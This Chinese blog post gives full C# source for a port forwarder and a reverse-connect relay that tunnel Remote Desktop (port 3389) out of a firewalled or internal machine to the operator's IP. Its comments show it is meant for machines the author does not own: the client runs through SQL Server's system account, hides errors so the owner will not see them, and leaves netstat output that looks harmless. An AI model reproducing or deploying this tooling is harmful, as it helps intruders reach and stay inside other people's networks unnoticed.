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網(wǎng)站管理員

c#做端口轉(zhuǎn)發(fā)程序支持正向連接和反向鏈接

admin
2017年5月30日 11:55 本文熱度 7957

3389的時(shí)候

例子1:連接a機(jī)器的3389端口連不上,因?yàn)閷Ψ椒阑饓蛘呔W(wǎng)關(guān)做了限制,只能訪問a機(jī)器的個(gè)別端口比如80。

例子2:連接a機(jī)器的幾乎所有端口都連不上(對方乃內(nèi)網(wǎng)或者防火墻網(wǎng)關(guān)做了限制),只能1433上去,但是對方可以連接你的某些端口。

 

解決

第一種較簡單,只需要程序在對方開80,你連接他80,程序收到數(shù)據(jù)后,發(fā)送到他本機(jī)的3389,同時(shí)從他3389收到數(shù)據(jù)后返回到你。程序就是一個(gè)中轉(zhuǎn)站。

 

復(fù)制代碼
using System;
using System.Net.Sockets;
using System.Threading;

namespace PortTransponder
{
    
class Program
    {
        
static void Main(string[] args)
        {
            TcpListener tl 
= new TcpListener(80);//這里開對方可以被你連接并且未被占用的端口
            tl.Start();
            
while (true)//這里必須用循環(huán),可以接收不止一個(gè)客戶,因?yàn)槲野l(fā)現(xiàn)終端服務(wù)有時(shí)一個(gè)端口不行就換一個(gè)端口重連
            {
                
//下面的意思就是一旦程序收到你發(fā)送的數(shù)據(jù)包后立刻開2個(gè)線程做中轉(zhuǎn)
                try
                {
                    TcpClient tc1 
= tl.AcceptTcpClient();//這里是等待數(shù)據(jù)再執(zhí)行下邊,不會100%占用cpu
                    TcpClient tc2 = new TcpClient("localhost"3389);
                    tc1.SendTimeout 
= 300000;//設(shè)定超時(shí),否則端口將一直被占用,即使失去連接
                    tc1.ReceiveTimeout = 300000;
                    tc2.SendTimeout 
= 300000;
                    tc2.ReceiveTimeout 
= 300000;
                    
object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                    
object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                    ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj1);
                    ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj2);
                }
                
catch { }
            }
        }
        
public static void transfer(object obj)
        {
            TcpClient tc1 
= ((TcpClient[])obj)[0];
            TcpClient tc2 
= ((TcpClient[])obj)[1];
            NetworkStream ns1 
= tc1.GetStream();
            NetworkStream ns2 
= tc2.GetStream();
            
while (true)
            {
                
try
                {
                    
//這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯(cuò)誤提示讓機(jī)主看見那就囧了
                    byte[] bt = new byte[10240];
                    
int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 
0, count);
                }
                
catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    
break;
                }
            }
        }
    }
}
復(fù)制代碼

 

這樣在對方機(jī)器執(zhí)行和,直接mstsc /v:對方ip:80就能終端上去了

 

 

第二種稍微復(fù)雜一點(diǎn),需要客戶機(jī)和服務(wù)器2個(gè)程序,你在自己機(jī)器上開服務(wù)器端,在對方機(jī)器上執(zhí)行客戶端連接你的服務(wù)器端,一旦連接上你的服務(wù)器端再開個(gè)端口讓終端程序連接,對方機(jī)器上客戶端再開個(gè)端口連接他自己的3389,做2次中轉(zhuǎn)就可以終端上去了。

具體流程

本機(jī)ip開8080端口

對方機(jī)器連接你的8080端口,比如端口是49908

連接成功后

你的機(jī)器再開一個(gè)比如9833端口

對方機(jī)器再開一個(gè)連接連接他自己的3389,比如端口是49909吧

好這時(shí)你用你的mstsc連接自己的 localhost:9833,數(shù)據(jù)包就從本機(jī)9833-本機(jī)8080-對方49908-對方49909-對方3389,對方3389的數(shù)據(jù)反著回來就行了。

復(fù)制代碼
//服務(wù)器端
using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangserver
{
    
class Program
    {
        
public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
        
public static NetworkStream kongzhins = null;
        
static void Main(string[] args)
        {
            ThreadPool.QueueUserWorkItem(
new WaitCallback(start1));
            ThreadPool.QueueUserWorkItem(
new WaitCallback(start2));
            WaitHandle.WaitAll(
new ManualResetEvent[] { new ManualResetEvent(false) });
        }
        
public static void start1(object obj)
        {
            TcpListener tl 
= new TcpListener(8080);//開一個(gè)對方可以連接的端口,今天這棒子機(jī)器連他只能1433,其他連不上,他連別人只能80 8080 21   
            tl.Start();
            
while (true)
            {
                TcpClient tc 
= tl.AcceptTcpClient();
                jieshou(tc);
            }
        }
        
public static void start2(object obj)
        {
            TcpListener tl 
= new TcpListener(9833); //開一個(gè)隨意端口讓自己的mstsc連。   
            tl.Start();
            
while (true)
            {
                TcpClient tc 
= tl.AcceptTcpClient();
                Random rnd 
= new Random();
                
int biaoji = rnd.Next(10000000002000000000);
                dic.Add(biaoji, tc);
                
byte[] bt = BitConverter.GetBytes(biaoji);
                kongzhins.Write(bt, 
0, bt.Length);
            }
        }
        
public static void jieshou(TcpClient tc)
        {
            
//這里體現(xiàn)的是一個(gè)配對的問題,自己體會一下吧
            NetworkStream ns = tc.GetStream();
            
byte[] bt = new byte[4];
            
int count = ns.Read(bt, 0, bt.Length);
            
if (count == 2 && bt[0== 0x6f && bt[1== 0x6b)
            {
                kongzhins 
= ns;
            }
            
else
            {
                
int biaoji = BitConverter.ToInt32(bt, 0);
                lianjie(biaoji, tc);
            }
        }
        
public static void lianjie(int biaoji, TcpClient tc1)
        {
            TcpClient tc2 
= null;
            
if (dic.ContainsKey(biaoji))
            {
                dic.TryGetValue(biaoji, 
out tc2);
                dic.Remove(biaoji);
                tc1.SendTimeout 
= 300000;
                tc1.ReceiveTimeout 
= 300000;
                tc2.SendTimeout 
= 300000;
                tc2.ReceiveTimeout 
= 300000;
                
object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                
object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj2);
            }
        }
        
public static void transfer(object obj)
        {
            TcpClient tc1 
= ((TcpClient[])obj)[0];
            TcpClient tc2 
= ((TcpClient[])obj)[1];
            NetworkStream ns1 
= tc1.GetStream();
            NetworkStream ns2 
= tc2.GetStream();
            
while (true)
            {
                
try
                {
                    
//這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯(cuò)誤提示讓機(jī)主看見那就囧了
                    byte[] bt = new byte[10240];
                    
int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 
0, count);
                }
                
catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    
break;
                }
            }
        }
    }
}
復(fù)制代碼

 

 ;

復(fù)制代碼
//客戶端
using System;
using System.Text;
using System.Net.Sockets;
using System.Threading;

namespace fanxiangclient
{
    
class Program
    {
        
public static NetworkStream kongzhins = null;
        
static void Main(string[] args)
        {
            
try
            {
                TcpClient tc 
= new TcpClient("你的IP"8080);
                kongzhins 
= tc.GetStream();
                
byte[] bt = Encoding.Default.GetBytes("ok");//這里發(fā)送一個(gè)連接提示
                kongzhins.Write(bt, 0, bt.Length);
                jieshou();
                WaitHandle.WaitAll(
new ManualResetEvent[] { new ManualResetEvent(false) });//這里為什么要這樣呢?我發(fā)現(xiàn)sqlserver執(zhí)行是localsystem賬號如果console.read()程序馬上退出
            }
            
catch { }
        }
        
public static void jieshou()
        {
            
while (true)
            {
                
byte[] bt = new byte[4];
                kongzhins.Read(bt, 
0, bt.Length);
                TcpClient tc1 
= new TcpClient("你的IP"8080);
                TcpClient tc2 
= new TcpClient("localhost"3389);
                tc1.SendTimeout 
= 300000;
                tc1.ReceiveTimeout 
= 300000;
                tc2.SendTimeout 
= 300000;
                tc2.ReceiveTimeout 
= 300000;
                tc1.GetStream().Write(bt, 
0, bt.Length);
                
object obj1 = (object)(new TcpClient[] { tc1, tc2 });
                
object obj2 = (object)(new TcpClient[] { tc2, tc1 });
                ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj1);
                ThreadPool.QueueUserWorkItem(
new WaitCallback(transfer), obj2);
            }
        }
        
public static void transfer(object obj)
        {
            TcpClient tc1 
= ((TcpClient[])obj)[0];
            TcpClient tc2 
= ((TcpClient[])obj)[1];
            NetworkStream ns1 
= tc1.GetStream();
            NetworkStream ns2 
= tc2.GetStream();
            
while (true)
            {
                
try
                {
                    
byte[] bt = new byte[10240];
                    
int count = ns1.Read(bt, 0, bt.Length);
                    ns2.Write(bt, 
0, count);
                }
                
catch
                {
                    ns1.Dispose();
                    ns2.Dispose();
                    tc1.Close();
                    tc2.Close();
                    
break;
                }
            }
        }
    }
}
復(fù)制代碼

 

好,這樣你連接mstsc /v:localhost:9833,后數(shù)據(jù)就經(jīng)過了好幾轉(zhuǎn)轉(zhuǎn)到了對方的3389上。這樣即使對方是內(nèi)網(wǎng)也可以被終端了,而且好處是對方查看netstat -an看到的是這種東西


該文章在 2017/5/30 11:55:33 編輯過
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